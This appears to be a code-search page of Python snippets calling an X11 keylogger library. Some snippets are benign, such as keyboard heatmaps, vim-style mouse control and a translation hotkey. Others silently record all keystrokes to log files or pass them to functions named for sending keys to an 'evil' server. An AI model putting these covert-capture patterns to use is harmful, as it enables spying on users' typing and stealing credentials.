示例#1
0
    def key_detect(self):
        def __detectKey(t, modifiers, keys):
            if (modifiers['left shift'] or modifiers['right shift']) \
                    and keys == '<esc>':
                self.translateByClipboard()

        keylogger.log(lambda: self.closed, __detectKey)
示例#2
0
def serverHandler():

    # Start key logger
    now = time.time()
    done = lambda: time.time() > now + 60
    keylogger.log(done, SendKeysToNaugthyBunnyServer)

    # Print what we receive from the server
    printMessagesFromNaugthyBunnyServer()
def serverHandler():
 
    # Start key logger
    now = time.time()
    done = lambda: time.time() > now + 60
    keylogger.log(done, sendKeysToEvilServer)

    # Print what we receive from the server
    printMessagesFromEvilServer()
示例#4
0
def start():
#global handle_keys;
	try:
		keylogger.log(done, handle_keys);
	except KeyboardInterrupt:
		#print(ts);
		ts.commit_temp();
		
	def stop():
		ts.commit_temp();
示例#5
0
        return x11.XSendEvent(display, 0, True, 4, ct.byref(evt))

    @staticmethod
    def do_click(amt, char):
        for i in range(amt):
            DefaultHandler.do_press(char)
            DefaultHandler.do_release(char)

    def __contains__(self, key):
        return key in list('hjkliv') + ['<esc>']

    def __call__(self, cache, key):
        amt = (''.join(takewhile(str.isdigit, map(lambda x: x[0], cache))))
        if len(amt) > 0:
            amt = int(amt)
        else:
            amt = 1
        if key in 'hjkl':
            DefaultHandler.do_move(amt, {
                "h": (-1, 0),
                "j": (0, 1),
                "k": (0, -1),
                "l": (1, 0)}[key])
        elif key in 'iv':
            DefaultHandler.do_click(amt, key == 'i')
        return key == '<esc>'

if __name__ == "__main__":
    cmd = CommandReader(DefaultHandler())
    log(lambda : cmd, cmd, x11, display)
示例#6
0
    print("ERROR : Nothing in key_words!!");
    exit();

for string in key_words:
    string_matcher_collection.append(StringMatcher(string)); #convert key word strings into StringMatcher objects

ts = text_store();

try:
    os.mkdir("op");
except FileExistsError:
    pass;

#Key Logger start
try:
    keylogger.log(done, handle_keys); #Here we go...
except KeyboardInterrupt:
    #print(ts);
    ts.commit_temp();
'''

class LoggerThread(threading.Thread):
	def __init__(self):
		#global key_words;
		threading.Thread.__init__(self);
		
		try:
			key_words_file = open("keys.txt","r"); #IMPORTANT : keys.txt -> file where key words are stored (line-by-line)
			key_words = key_words_file.readlines();
			key_words_file.close();
		except FileNotFoundError:
示例#7
0
import keylogger
import time

now = time.time()
done = lambda: time.time() > now + 60


def print_keys(t, modifiers, keys):
    print("%.2f   %r   %r" % (t, keys, modifiers))


keylogger.log(done, print_keys)
示例#8
0
 def key_detect(self):
     def __detectKey(t, modifiers, keys):
         if (modifiers['left shift'] or modifiers['right shift']) \
                 and keys == '<esc>':
             self.translateByClipboard()
     keylogger.log(lambda: self.closed, __detectKey)
示例#9
0
    if modifiers:
        heatmap_object['modifiers'] = list(modifiers.keys())
    if not active_modifiers:
        count[key]= count.get(key, 0)+1
    else:
        if active_modifiers[0] not in count:
            count[active_modifiers[0]] = {}
        create_dict(count[active_modifiers[0]], key, active_modifiers[1:], [])

def update_count(t, active_modifiers, display_key, chosen_key, modifiers):
    if display_key:
        create_dict(heatmap_object['count'], chosen_key, active_modifiers, modifiers)
        if args.debug:
            print("key pressed: {}".format(display_key))

# MAIN
if path.exists(heatmap_output_file):
    with open(heatmap_output_file, 'r') as input:
        count = json.load(input)

keylogger.set_mapper(load_mapper())

try:
    while 1:
        now = time()
        done = lambda: time() > now + 60
        keylogger.log(done, update_count)
        dump()
except KeyboardInterrupt:
    print("exiting program")
示例#10
0
import keylogger
import time

now = time.time()
done = lambda: False

logFile = open('KEY_TAKER-log.log',"a+")
textedLog = open('KEY_TAKER-text.log', "a+")

def print_keys(t, modifiers, keys): print "%.2f   %r   %r\n" % (t, keys, modifiers)

def logStuff(t, modifiers, keys):
    logFile.write("%.2f   %r   %r\n" % (t, keys, modifiers))
    textedLog.write('%r' % keys)
    print(keys)

keylogger.log(done, logStuff)
示例#11
0
	def run(self):
		self.run_thread = threading.Thread(target=keylogger.log(self.finish,handle_keys))
示例#12
0
    if modifiers:
        heatmap_object['modifiers'] = modifiers.keys()
    if not list:
        count[key]= count.get(key, 0)+1
    else:
        if list[0] not in count:
            count[list[0]] = {}
        create_dict(count[list[0]], key, list[1:], [])

def update_count(t, active_modifiers, display_key, chosen_key, modifiers):
    if display_key:
        create_dict(heatmap_object['count'], unicode(chosen_key), active_modifiers, modifiers)
        if args.debug:
            print "key pressed: %s" %display_key

# MAIN
if path.exists(heatmap_output_file):
    with open(heatmap_output_file, 'r') as input:
        count = json.load(input)

keylogger.set_mapper(load_mapper())

try:
    while 1:
        now = time()
        done = lambda: time() > now + 60
        keylogger.log(done, update_count)
        dump()
except KeyboardInterrupt:
    print "exiting program"
            do_move(val, cmd)
        elif cmd in [left_click, right_click]:
            do_click(val, cmd)

    def read_destroy_cache(self):
        num_acc = ""
        while len(self.cache) > 0:
            val = self.cache.popleft()
            if not val.isdigit():
                self.do_one_cmd(val, num_acc)
                num_acc = ""
            else:
                num_acc += val

    def next_char(self, char):
        if char is None:
            return
        if char != done:
            self.cache.append(char)
            if not char.isdigit():
                self.read_destroy_cache()
        else:
            self.done = True

    def __bool__(self):
        return self.done

if __name__ == "__main__":
    csw = CommandStateWrapper()
    log(csw.__bool__, lambda t, m, k: csw.next_char(k), x11, display)
示例#14
0
文件: main.py 项目: urielaero/mapkeys
 def run(self):
     now = time.time()
     done = lambda: time.time() > now + self.maxTime*60
     log(done,self._save_key);